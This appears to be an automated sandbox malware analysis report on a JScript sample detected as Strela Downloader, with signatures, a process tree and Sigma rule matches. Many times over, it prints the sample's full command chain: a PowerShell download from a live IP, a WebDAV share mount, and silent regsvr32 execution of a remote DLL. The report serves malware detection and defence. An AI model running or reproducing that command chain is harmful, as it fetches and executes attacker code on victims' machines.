Edit tour

Windows Analysis Report
1709817689110827228.js

Overview

General Information

Sample name:	1709817689110827228.js
Analysis ID:	1588761
MD5:	c868aa212ad24b8867704ca76ac941bc
SHA1:	31a5ceb89b6d97c2927bf6ed64a1591c3f7ab235
SHA256:	90ed32cec456620e676a614a99d149751ae6855cc9a42b53b7915fec71410d67
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4924 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2096 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3700 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7044 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1620,i,9119001864217647023,8772681399431034704,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6496 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6524 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4180 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4924	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ProcessId: 4924, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ProcessId: 4924, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3700, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6524, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4180, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6496, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6524, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll, ProcessId: 2096, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1709817689110827228.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1709817689110827228.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1709817689110827228.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.2148526508.000001CFEB22F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2225585167.0000016BEA2FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2225585167.0000016BEA2A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.2225585167.0000016BEA2A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceTS
Source: svchost.exe, 00000009.00000002.3426619625.0000021029600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2226770334.00000210294B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4924, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\240721431616343.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1709817689110827228.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5172

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:884:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zwkll0tr.kma.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1709817689110827228.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1709817689110827228.js"
